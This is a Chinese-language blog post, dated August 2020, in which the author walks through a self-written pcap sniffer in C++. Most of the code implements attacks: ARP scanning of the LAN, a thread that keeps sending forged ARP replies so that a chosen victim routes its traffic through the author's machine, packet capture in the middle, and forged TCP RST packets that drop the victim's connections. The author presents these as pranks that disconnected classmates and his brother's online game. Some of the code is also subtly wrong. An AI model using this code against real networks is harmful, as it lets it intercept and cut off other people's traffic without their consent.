从零写的一个嗅探器
序
1.整个程序全程使用pcap来实现,本文中未给出全部代码,仅有部分代码来说明思路和遇到的问题。关于pcap的配置来自link。pcap的官方文档见link。
2.做这个东西一开始是以调戏同学的目的开始的。比如给他们发rst让他们游戏掉线(代码中也实现了这个操作,并且让我弟的dnf成功掉线了)。不过更多的收获是对协议的理解更深了,比如各个协议头的各个字段,应该如何处理或者如何填写。
3.最初是在看完UNP第二十八章后,打算用原始套接字混杂模式实现的,不过中间不管怎么开启混杂模式,都是只能收到自己机器的包,后来又翻了翻UNP和WinSock网络编程经络,大概看到一句windows的原始套接字有很多限制之类的,以为这是问题所在,后来换到linux环境下写,不过依旧是不管怎么开启混杂模式,还是只能收到自己的包。然后去网上查资料,才了解到以前是集线器来转发,集线器会把所有的包都转发给所有接口(大概是这样子),但是现在路由器不行了,路由器只会把属于自己的包转发过来,查到的解决方法是arp欺骗。
4.代码中也有很多有缺陷的地方,比如代码冗余,还有一些地方应该使用屏障的概念来解决多个线程的同步,不过因为懒就没有研究屏障,用睡眠等待了。
1.关于以太网 IP TCP UDP等的包头结构
这部分代码网上到处都有,要说明一下两个问题。
第一个是 成员大部分是无符号字段,在编写过程,好几次发送出去包的预期和用wireshark抓到的不一致,问题就是中间使用了某些有符号字段来转存造成的问题。
第二个是 定义arp包时遇到的一个字节对齐问题,测试arp欺骗时,总是和预期对不上,最后发现arp的定义那里,使用char数组被对齐了两字节,关于这个问题的详述见link第三条。
struct C_EthHead
{
u_char DstMac[6];
u_char SrcMac[6];
u_short Proto;
};
struct C_IP4Head
{
u_char VerAndHeadlen; // 1字节 4位版本号(4)+4位首部长度(一般20)
u_char tos; // 1字节 tos服务类型(被忽略)
u_short PacketLength; // 2字节 整个包的长度
u_short identification; // 2字节 16位标识符(分片和重组使用)
u_short TagAndOffset; // 2字节 3位标志+13位片偏移(分片和重组使用)
u_char TTL; // 1字节 生存周期
u_char proto; // 1字节 协议类型 1 2 6 17,分别是ICMP IGMP TCP UDP
u_short CheckSum; // 2字节 校验和
IN_ADDR SrcIP; // 4字节 源IP
IN_ADDR DstIP; // 4字节 目的IP
};
struct C_TCPHead
{
u_short SrcPort; // 2字节 源端口
u_short DstPort; // 2字节 目的端口
u_int SeqNumber; // 4字节 发送的序号
u_int AckNumber; // 4字节 期望收到的对方的下一个序号
u_char HeadLength; // 1字节 前4位表示首部长度,后四位被保留
u_char tag; // 1字节 前两位被保留,后六位分别用于 URG ACK PSH RST SYN FIN
u_short WindowSize; // 2字节
u_short CheckSum; // 2字节 检验和,覆盖TCP首部和数据,由系统强制填写
u_short UrgPtr; // 2字节 紧急指针
};
struct C_UDPHead
{
u_short SrcPort; // 2字节 源端口
u_short DstPort; // 2字节 目的端口
u_short PacketLen; // 2字节 包括首部和数据在内的长度
u_short CheckSum; // 2字节 校验和
};
struct C_ARPPacket
{
u_short HardwareType; // 2字节 硬件类型,为1表示以太网地址
u_short ProtoType; // 2字节 协议类型,为0x0800表示IP
u_char HardwareLen; // 1字节 硬件地址长度,一般为6
u_char ProtoLen; // 1字节 协议地址长度,一般为14
u_short OperType; // 2字节 操作类型,1为ARP请求,2为ARP应答,3、4为RARP的请求和应答
u_char SrcMacAndIP[10]; // 10字节 源mac和ip // 这里把mac和IP合在一起的原因是,mac有6字节,紧随其后定义IN_ADDR的IP结构,会导致mac的6字节对齐到8字节
u_char DstMacAndIP[10]; // 10字节 目标mac和ip
};
2.一组全局变量
这里大概没什么好写的,注释里面写的很清楚了
int choose; // 分支处选择输入
char errbuf[PCAP_ERRBUF_SIZE]; // 错误信息存储
int DevPacketCount[256]{ -1 }; // 短时间内对收到的包计数
std::atomic<int> EXIT = 0; // 控制程序退出的标记
std::atomic<int> STOP = 0; // 用来控制操作的停止,arp欺骗线程和arp欺骗后抓包的线程,用这个来控制停止
std::atomic<int> PacketCount = 0; // 统计接收到的包数量,每打印一个包计数+1
std::mutex mtx; // 用来线程同步
std::condition_variable cond; // 用来线程同步
pcap_if_t* alldevs, * d; // 前者用来存储所有网络设备的信息,后者用来遍历
int DevCount = 0; // 统计网络设备的个数
pcap_t* PcapHandle[256]; // pcap打开某个网卡后取得的句柄(网卡句柄集合)
int DevNumber; // 存储所选择的网卡号
unsigned char MAC[6]; // 存储网卡号对应的MAC
IN_ADDR LocalDevIp; // 存储网卡号对应的IP
IN_ADDR NetIp; // 当前网段的 网络地址
IN_ADDR DefaultGateWayIp; // 当前网段的 默认网关 在网络地址上+1
u_char DefaultGateWayMac[6]; // 默认网关的 mac
IN_ADDR BroadIp; // 当前网段的 广播地址
IN_ADDR MaskIp; // 当前网段的 子网掩码
IN_ADDR ByAttackerIP; // 被监听者IP
u_char ByAttackerMAC[6]; // 被监听者MAC
std::vector<std::pair<ULONG*, u_char*>> LiveDev; // 局域网当前存活设备的IP和MAC
pcap_pkthdr* pkd; // 用于接收数据包的结构
const u_char* RecvBuf{}; // 用于接收数据包的结构
int res; // 收包的返回值
time_t local_tv_sec; // 用于打印时间戳
struct tm* ltime; // 用于打印时间戳
char timestr[16]; // 用于打印时间戳
u_char IPheadlen; // IP包头长度 一定要无符号才能计算对
u_int TCPheadlen; // TCP包头长度
u_int UDPheadlen; // 包头长度
C_EthHead* EthHead; // 以太网头指针
C_IP4Head* Ip4Head; // IP4头指针
C_TCPHead* TcpHead; // TCP头指针
C_UDPHead* UdpHead; // UDP头指针
int PrintfCount = 0; // 打印包时的计数
int RecvCount = 0; // 收到包时的计数
3.所有的函数声明
这些函数在主函数的执行顺序就是从上往下的。
①:先启动一个输入线程,这个线程用来和主线程交互,比如主线程需要输入一些数据,那么输入通过该线程阻塞,而不阻塞主线程。
②:接下来是选择网卡设备,主机可能有多个网卡多个IP,在我的机器上,算上虚拟机什么的有7个网卡,给每个网卡启动一个测试接收线程,通过判断哪个网卡短时间内收包最多(正在使用的网卡),来选择网卡,或者在之后打印出每个网卡的收包数量号手动选择。
③:再接着GetNetInfo,通过发送一个arp包来取得当前网卡的mac地址,还有一些其他信息,诸如:当前网络的子网掩码、网关、网络地址、广播地址等
④:接下来通过网络地址和子网掩码计算出网段范围,启动一条发线程,对网段内每个IP发送ARP包。主线程则通过判断筛选,来找出局域网内其他机器回复的ARP包,收到回复的即算机器存活,顺便通过该ARP包取出对方mac,存储在一个IP MAC字段对应的集合里。
在填写ARP包的时候遇到一个问题:有的字段需要主动转换成网络字节序,有的则不需要(这里通过抓包一个一个字段比对)。
其实填写IP头和TCP头的时候,也遇到了这个问题。下文对每个函数详细说明时,会说明这些字段。
⑤:最后就是调用主菜单函数,通过循环选择操作,实现的操作有:重新进行局域网存活探测、ARP欺骗抓包、RST攻击、FIN攻击。
⑥:最后三个函数是在网上直接复制过来的,IPStrToInt函数是因为在win下没有API支持才弄的。
void InputThread(); // 控制输入线程
int ChooseDev(); // 获取当前设备的所有网卡,并为每个网卡启动一个 测试接收线程,以选择使用哪个网卡
void ChooseDevOutPutThread(pcap_if_t* dev, int id); // 测试接收线程
void GetNetInfo(); // 获取所选网卡的mac,以及当前网络的子网掩码、IP、网关、等
void LocalNetDiscover(); // 局域网设备发现(收)线程,收到回复就保存打印
void LocalNetDevDetectThread(); // 局域网设备发现(发)线程,对网段内每个IP发送一个ARP请求
void MainMenu(); // 主菜单函数,循环选择执行什么操作
void ShadowListen(); // 对被监听者的包转发+打印
void SustainCheatThread(); // 持续对被监听者发送arp欺骗
void RstDisNet(); // rst攻击,同样调用SustainCheatThread来进行arp欺骗抓包
void FinDisNet(); // fin攻击
unsigned int IPStrToInt(const char* ip); // IP字符串转化为整数
short IpCheckSum(short* ip_head_buffer, int ip_hdr_len); // IP的校验和函数
SHORT Tcpchecksum(USHORT* buffer, int size); // TCP的校验和包含包头和数据
4.主函数的代码
int main()
{
std::thread t(InputThread); // 创建一条线程用来接受输入
t.detach();
ChooseDev(); // 遍历网卡,选择一块网卡作为欺骗者
GetNetInfo(); // 获取本地mac和IP存储到全局LocalDevIp和MAC
LocalNetDiscover(); // 对网段内每个IP发送一个ARP请求,收到回复就算存活,并打印
MainMenu();
for (auto it = LiveDev.begin(); it < LiveDev.end(); ++it) // 清理空间
{
delete it->first;
delete [] it->second;
}
pcap_freealldevs(alldevs); // 释放结构
printf("输入任意字符结束程序。\n");
getchar();
return 0;
}
4.5.被跳过的四个函数
InputThread、ChooseDev、ChooseDevOutPutThread、GetNetInfo这几个函数就不写了,其中的都是涉及逻辑的代码,函数中调用的接口在pcap的官方文档里全能找到,主要写一下,之后填写数据包的部分。
5.LocalNetDiscover和LocalNetDevDetectThread两个函数
LocalNetDiscover()
在这个函数中首先启动另一条线程执行函数LocalNetDevDetectThread,该线程用来对网段内所有IP发送ARP探测。接下来是一个做多等待七秒的循环,监听网卡上所有的包,然后通过以太网协议字段 ARP包的操作字段等等一系列过滤手段,来过滤出网段内其他主机的ARP的回复包,然后将探测到存活的主机存入一个全局变量中,存储的字段是一个<IP , MAC>。
LocalNetDevDetectThread()
在这个函数中首先申请一块内存,长度是一个以太网帧(14)+ARP(28)。
以太网帧头 目的MAC地址填全1来广播。
以太网帧头 源MAC地址填
以太网帧头 协议字段这里就需要收到转换成网络字节序EthHead->Proto = htons(0x0806)
,当我没有转换为网络字节序时,直接赋值0x0806,wire抓到包里的值是0x0608,使用转换后,抓到的包就是正确的值,没搞明白这里为什么。
在填写ARP包时,代码中可以看到,硬件、协议、操作类型这三个字段使用htons来转为网络字节序,这些都是在抓包后发现需要转换的,否则抓到的包就不正确。其他字段则直接复制或者赋值,就都是正确的。
最后在一个循环中,每次修改目的IP地址,然后发送这个ARP包。
void LocalNetDiscover() // (不完整)
{
std::thread t(LocalNetDevDetectThread); // 开启另一个线程发送探测包
t.detach();
// 当前线程则收包打印
// 最多等待7秒来接受arp回复包
auto timeout = std::chrono::steady_clock::now() + std::chrono::seconds(7);
while (std::chrono::steady_clock::now() < timeout && !EXIT)
{
res = pcap_next_ex(PcapHandle[DevNumber], &pkd, &RecvBuf);
EthHead = (C_EthHead*)RecvBuf;
ArpP = (C_ARPPacket*)(RecvBuf + 14);
if (res == 0) // 超时
continue;
if (res < 0)
{
printf("pcap_next_ex出错2,收包结束\n\n");
break;
}
if (ntohs(EthHead->Proto) != 0x0806) // 只收取为0x0806的ARP包
continue;
if (ntohs(ArpP->OperType) != 2) // 不是回复包就忽略
continue;
if (strncmp((char *)ArpP->SrcMacAndIP + 6, (char*)&LocalDevIp, 4) == 0) // 本机发出的ARP回复包被忽略
continue;
if (std::find(DeWeight.begin(), DeWeight.end(), (*(ULONG*)(ArpP->SrcMacAndIP + 6))) != DeWeight.end()) // 去除重复的探测
continue;
DeWeight.push_back(*(ULONG*)(ArpP->SrcMacAndIP + 6));
PucharTemp = new u_char[6]; // 这两个指针在main函数最后释放
PulongTemp = new ULONG; // 这两个指针在main函数最后释放
strncpy((char *)PucharTemp, (char *)(ArpP->SrcMacAndIP), 6);
strncpy((char *)PulongTemp, (char *)(ArpP->SrcMacAndIP + 6), 4);
LiveDev.push_back(std::make_pair<ULONG*, u_char*>((ULONG *)PulongTemp, (u_char *)PucharTemp));
if (strncmp((char*)&(DefaultGateWayIp.S_un.S_addr), (char*)(ArpP->SrcMacAndIP + 6), 4) == 0) // 如果是网关的IP,存下Mac
{
strncpy((char*)DefaultGateWayMac, (char*)ArpP->SrcMacAndIP, 6);
}
}
printf("局域网存活发现完毕。\n\n");
std::this_thread::sleep_for(std::chrono::milliseconds(1000));
}
void LocalNetDevDetectThread()
{
std::this_thread::sleep_for(std::chrono::milliseconds(2000));
// 先构造一个ARP包
u_char* ArpPacket = new u_char[sizeof(C_EthHead) + sizeof(C_ARPPacket)];
EthHead = (C_EthHead*)ArpPacket;
C_ARPPacket* AH = (C_ARPPacket*)(ArpPacket + sizeof(C_EthHead));
// 填写以太网帧头
memset(EthHead->DstMac, UCHAR_MAX, 6); // 以太网目的地址全1来广播
strncpy((char*)EthHead->SrcMac, (const char*)&MAC, 6); // 源地址填写事先填好的MAC
EthHead->Proto = htons(0x0806); // 0x0806是arp协议
// 填写ARP包
AH->HardwareType = htons(1);
AH->ProtoType = htons(0x0800);
AH->HardwareLen = 6;
AH->ProtoLen = 4;
AH->OperType = htons(1);
strncpy((char*)AH->SrcMacAndIP, (const char*)MAC, 6); // 填写源MAC
strncpy(((char*)AH->SrcMacAndIP) + 6, (const char*)&LocalDevIp, 4); // 填写源IP
memset((char*)AH->DstMacAndIP, 0, 6);
// 目的IP放在循环里填
// strncpy(((char*)&AH->DstMacAndIP) + 6, (const char*)&ip.S_un.S_addr, 4);
auto StartTime = std::chrono::steady_clock::now();
for (auto it = NetIp.S_un.S_addr; it < BroadIp.S_un.S_addr; it += 0x01000000)
{
strncpy(((char*)AH->DstMacAndIP) + 6, (const char*)&it, 4);
if (pcap_sendpacket(PcapHandle[DevNumber], ArpPacket, sizeof(C_EthHead) + sizeof(C_ARPPacket) /* size */) != 0)
{
printf("目的IP:<%s>的arp探测包发送失败XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\n");
continue;
}
//printf("目的IP:<%s>的arp探测包发送成功\n", inet_ntoa(*(IN_ADDR*)&it));
}
printf("所有ARP探测包在<%d>毫秒内发送完毕。\n\n", (std::chrono::steady_clock::now() - StartTime).count() / 1000000);
// 释放空间
delete[] ArpPacket;
}
6.MainMenu函数
这个函数很简单,就是一个主循环,每次循环先清屏,然后打印一遍局域网内所有存活机器的IP和MAC。
接着输出列表,然后等待输入。
等待输入这部分使用了条件变量来和InputThread来实现线程同步。
void MainMenu()
{
while (!EXIT)
{
system("cls");
printf("\n");
for (auto it = LiveDev.begin(); it < LiveDev.end(); ++it)
{
printf("存活机器IP:<%s>\tMAC:<%02x-%02x-%02x-00-00-00>\n\n", inet_ntoa(*(IN_ADDR*)(it->first)), it->second[0], it->second[1], it->second[2]);
}
printf("\n\n");
printf("\t\t\t\t\t1.重新探测局域网\n\n");
printf("\t\t\t\t\t2.ARP欺骗抓包\n\n");
printf("\t\t\t\t\t3.RST断网\n\n");
printf("\t\t\t\t\t4.FIN断网\n\n");;
printf("\t\t\t\t\t8.退出\n\n");
printf("输入格式:( choose <空格> number ):");
std::unique_lock<std::mutex> lk(mtx);
cond.wait(lk);
lk.unlock();
printf("\n");
STOP = 0;
switch (choose)
{
case 1:
LiveDev.clear();
LocalNetDiscover(); break;
case 2:
ShadowListen(); break;
case 3:
RstDisNet(); break;
case 4:
FinDisNet(); break;
case 8:
printf("aaa 退出\n");
EXIT = 1; break;
default:
printf("该选择不存在!\n");
std::this_thread::sleep_for(std::chrono::seconds(1)); break;
}
std::this_thread::sleep_for(std::chrono::seconds(1));
}
}
7.ShadowListen和SustainCheatThread函数
ShadowListen()
该函数在通过条件变量等待输入线程输入被监听者IP后,将SustainCheatThread作为一个线程来启动,持续被对监听者发送ARP欺骗包。
循环中,首先通过pcap提供的函数抓包,然后通过过滤,只处理源mac为 被监听IP的 以太网帧。只要收到这样的帧,就把该帧转发给网关,以确保被监听者不会因为ARP欺骗而丢失连接。
在接下来通过过滤,找出TCP和UDP包,打印出一些感兴趣的信息。
SustainCheatThread()
先申请一个ARP包的空间,然后依次填写以太网帧和ARP包(主要内容是声明本机是网关),在最后的循环中每500毫秒向被监听者覆盖以此ARP欺骗。
void ShadowListen()
{
printf("输入监听对象IP.\n输入格式:( byattacker <空格> IP ):");
std::unique_lock<std::mutex> lk(mtx);
cond.wait(lk);
printf("\n输入网关IP,或者跳过使用默认网关。(当前为:<%s>)\n输入格式:( gateway <空格> ip) or (jump ):", inet_ntoa(DefaultGateWayIp));
cond.wait(lk);
lk.unlock();
std::thread t(SustainCheatThread); // 一条线程周期性发送arp欺骗包
t.detach();
printf("\n开始抓包...\n\n"); // 当前线程收包+转发+打印
while (!STOP)
{
res = pcap_next_ex(PcapHandle[DevNumber], &pkd, &RecvBuf); // 抓取目标数据包
++RecvCount;
EthHead = (C_EthHead*)RecvBuf; // 以太网包头指针置位
if (strncmp((char*)EthHead->SrcMac, (char*)ByAttackerMAC, 6) != 0)
continue;
pcap_sendpacket(PcapHandle[DevNumber], RecvBuf, pkd->caplen); // 源MAC是被监听者的MAC就转发
if (res == 0) // 超时
continue;
if (ntohs(EthHead->Proto) != ETH_P_IP) // 只处理IP4包
continue;
if (res < 0)
{
printf("pcap_next_ex出错\n\n");
continue;
}
Ip4Head = (C_IP4Head*)(RecvBuf + 14); // IP4包头置位
IPheadlen = Ip4Head->VerAndHeadlen << 4; // 计算IP包头长度
IPheadlen = IPheadlen >> 4;
IPheadlen *= 4;
if (IPheadlen < 20 || IPheadlen > 60) // 处理包头长度部分。
{
printf("包头长度不正确,跳过。值为:%d\n\n", IPheadlen);
continue;
}
local_tv_sec = pkd->ts.tv_sec; // 处理整个帧的时间
ltime = localtime(&local_tv_sec);
strftime(timestr, sizeof(timestr), "%H:%M:%S", ltime);
printf("No %6d: TIME:<%s> \t", ++PrintfCount, timestr);
switch (Ip4Head->proto) // 处理协议字段 1 2 6 17,分别是ICMP IGMP TCP UDP
{
case 6:
TcpHead = (C_TCPHead*)(RecvBuf + 14 + IPheadlen);
printf("TCP 源:<%s:%d> \t", inet_ntoa(Ip4Head->SrcIP), TcpHead->SrcPort); // 因为inet_ntoa函数同时使用会导致问题
printf("目的: <%s:%d>\n", inet_ntoa(Ip4Head->DstIP), TcpHead->DstPort); // 所以分开打印
printf("\t\t\t\t发送的序号:<%u>\t确认的序号<%u>\n\n", ntohl( ntohl(TcpHead->SeqNumber)), ntohl(ntohl(TcpHead->AckNumber)));
break;
case 17:
UdpHead = (C_UDPHead*)(RecvBuf + 14 + IPheadlen);
printf("UDP 源:<%s:%d> \t", inet_ntoa(Ip4Head->SrcIP), UdpHead->SrcPort);
printf("目的: <%s:%d>\n\n", inet_ntoa(Ip4Head->DstIP), UdpHead->DstPort);
break;
case 1:
//printf("<%s>:一个ICMP包被忽略\n\n", LocalAddrBuf);
break;
case 2:
//printf("<%s>:一个IGMP包被忽略\n\n", LocalAddrBuf);
break;
default:
//printf("<%s>:收到一个未解析包,协议类型:%d\n\n", LocalAddrBuf, IPhead->proto);
break;
}
}
printf("抓包已结束。\n\n");
}
void SustainCheatThread()
{
u_char* ArpPacket = new u_char[sizeof(C_EthHead) + sizeof(C_ARPPacket)]; // 先构造一个ARP包
EthHead = (C_EthHead*)ArpPacket;
C_ARPPacket* AH = (C_ARPPacket*)(ArpPacket + sizeof(C_EthHead));
for (auto it = LiveDev.begin(); it < LiveDev.end(); ++it) // 填写以太网帧头
{
if (strncmp((char*)&ByAttackerIP.S_un.S_addr, (char*)(it->first), 4) == 0)
{
strncpy((char*)EthHead->DstMac, (char*)(it->second), 6); // 找到IP对应的mac并填写
strncpy((char*)AH->DstMacAndIP, (char*)(it->second), 6); // arp包的目的mac也顺便在这里填了
strncpy((char*)ByAttackerMAC, (char*)(it->second), 6); // 顺便取一下被攻击的mac
break;
}
}
strncpy((char*)EthHead->SrcMac, (const char*)&MAC, 6); // 以太网源地址填写事先填好的本地MAC
EthHead->Proto = htons(0x0806); // 0x0806是arp协议
AH->HardwareType = htons(1); // 填写ARP包
AH->ProtoType = htons(0x0800);
AH->HardwareLen = 6;
AH->ProtoLen = 4;
AH->OperType = htons(2);
strncpy((char*)AH->SrcMacAndIP, (const char*)MAC, 6); // ARP填写源MAC
strncpy(((char*)AH->SrcMacAndIP) + 6, (const char*)&DefaultGateWayIp, 4); // ARP填写源IP
strncpy(((char*)AH->DstMacAndIP) + 6, (const char*)&ByAttackerIP.S_un.S_addr, 4);
printf("arp欺骗线程已启动。\n\n");
while (!STOP)
{
if (pcap_sendpacket(PcapHandle[DevNumber], ArpPacket, sizeof(C_EthHead) + sizeof(C_ARPPacket)) != 0)
{
printf("arp欺骗包发送失败XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\n");
continue;
}
std::this_thread::sleep_for(std::chrono::milliseconds(500));
}
delete[] ArpPacket; // 释放空间
printf("ARP欺骗线程已结束。\n\n");
}
8.RstDisNet和FinDisNet函数
RstDisNet()
一开始同样是通过和输入线程的交互,输入线程输入后用条件变量同步。
接着是调用前面的SustainCheatThread函数,并且启动线程来进行ARP欺骗。
感觉好像也没什么好写了,就是每抓到一个TCP包,就伪造一个带有RST标志包,然后发给这个主机让其断开连接。
这里要说明一下,并没有把欺骗目标的包转发给网关,不过可能有来自外部的包,被网关发给被攻击者,然后被攻击者的arp表大概会被修正,被攻击的TCP包依旧能够正常发出去,只不过产生了延迟,这个并没有去确认。不论如何,即便转发出去,随后到达的rst包都会让其断开连接
FinDisNet()
代码就不放了,几乎和rst的代码一模一样,只是改了一下标志那里
void RstDisNet()
{
printf("输入RstDisNet对象IP.\n输入格式:( byattacker <空格> IP ):");
std::unique_lock<std::mutex> lk(mtx);
cond.wait(lk);
printf("\n输入网关IP,或者跳过使用默认网关。(当前为:<%s>)\n输入格式:( gateway <空格> ip) or (jump ):", inet_ntoa(DefaultGateWayIp));
cond.wait(lk);
lk.unlock();
std::thread t(SustainCheatThread); // 一条线程周期性发送arp欺骗包
t.detach();
u_char* RstPacket = new u_char[sizeof(C_EthHead) + sizeof(C_IP4Head) + sizeof(C_TCPHead) + 4];
while (!STOP) // 接下来就是收包,然后构造RST包
{
memset(RstPacket, 0 , sizeof(C_EthHead) + sizeof(C_IP4Head) + sizeof(C_TCPHead) + 4);
res = pcap_next_ex(PcapHandle[DevNumber], &pkd, &RecvBuf); // 抓取目标数据包
++RecvCount;
EthHead = (C_EthHead*)RecvBuf; // 以太网包头指针置位
if (strncmp((char*)EthHead->SrcMac, (char*)ByAttackerMAC, 6) != 0)
continue;
pcap_sendpacket(PcapHandle[DevNumber], RecvBuf, pkd->caplen); // 源MAC是被监听者的MAC就转发
if (res == 0) // 超时
continue;
if (ntohs(EthHead->Proto) != ETH_P_IP) // 只处理IP4包
continue;
if (res < 0)
{
printf("pcap_next_ex出错\n\n");
continue;
}
Ip4Head = (C_IP4Head*)(RecvBuf + 14); // IP4包头置位
IPheadlen = Ip4Head->VerAndHeadlen << 4; // 计算IP包头长度
IPheadlen = IPheadlen >> 4;
IPheadlen *= 4;
if (IPheadlen < 20 || IPheadlen > 60) // 处理包头长度部分。
{
printf("包头长度不正确,跳过。值为:%d\n\n", IPheadlen);
continue;
}
if(Ip4Head->proto == 6) // 只处理为6的TCP报
{
TcpHead = (C_TCPHead*)(RecvBuf + 14 + IPheadlen);
C_EthHead* TempEth = (C_EthHead*)RstPacket;
C_IP4Head* TempIp4 = (C_IP4Head*)(RstPacket + 14);
C_TCPHead* TempTcp = (C_TCPHead*)(RstPacket + 14 + sizeof(C_IP4Head));
// 虚假的以太网帧头,源MAC和目的MAC交换,类型字段复制
strncpy((char*)TempEth->SrcMac, (char*)EthHead->DstMac, 6);
strncpy((char*)TempEth->DstMac, (char*)EthHead->SrcMac, 6);
strncpy((char*)&(TempEth->Proto), (char*)&(EthHead->Proto), 2);
// 虚假的IP4头, 版本号首部长度、tos略过、整个包长、标识符略过、分片略过、TTL=255、proto复制、校验和略过、源IP目标IP交换
strncpy((char*)&(TempIp4->VerAndHeadlen), (char*)&(Ip4Head->VerAndHeadlen), 1);
TempIp4->VerAndHeadlen >>= 4;
TempIp4->VerAndHeadlen <<= 4;
TempIp4->VerAndHeadlen += 5;
TempIp4->PacketLength = sizeof(C_IP4Head) + sizeof(C_TCPHead);
TempIp4->PacketLength = htonl(TempIp4->PacketLength);
TempIp4->TTL = 255;
strncpy((char*)&(TempIp4->proto), (char*)&(Ip4Head->proto), 1);
strncpy((char*)&(TempIp4->SrcIP.S_un.S_addr), (char*)&(Ip4Head->DstIP.S_un.S_addr), 4);
strncpy((char*)&(TempIp4->DstIP.S_un.S_addr), (char*)&(Ip4Head->SrcIP.S_un.S_addr), 4);
TempIp4->CheckSum = IpCheckSum((short*)TempIp4, 20);
// 虚假的TCP头, 源端口目的端口交换、发送的序号是被攻击者的ack-1+4、期望收到的序号是被攻击者发出序号+1、长度字段、rst | ack标志置位、windowsize 0、其余忽略
strncpy((char*)&(TempTcp->SrcPort), (char*)&(TcpHead->DstPort), 2);
strncpy((char*)&(TempTcp->DstPort), (char*)&(TcpHead->SrcPort), 2);
TempTcp->SeqNumber = TcpHead->AckNumber;
TempTcp->SeqNumber = htonl(TempTcp->SeqNumber);
TempTcp->AckNumber = TcpHead->SeqNumber;
TempTcp->AckNumber = htonl(TempTcp->AckNumber);
TempTcp->HeadLength = 5;
TempTcp->HeadLength <<= 4;
TempTcp->tag = 0;
TempTcp->tag |= 1 << 2;
//TempTcp->tag |= 1 << 4;
TempTcp->WindowSize = htons(0);
TempTcp->CheckSum = Tcpchecksum((USHORT*)TempTcp, 20);
pcap_sendpacket(PcapHandle[DevNumber], (u_char*)RstPacket, sizeof(C_EthHead) + sizeof(C_IP4Head) + sizeof(C_TCPHead));
//printf("已发送!\n");
}
}
delete[] RstPacket;
}
2020年8月26日19:28:30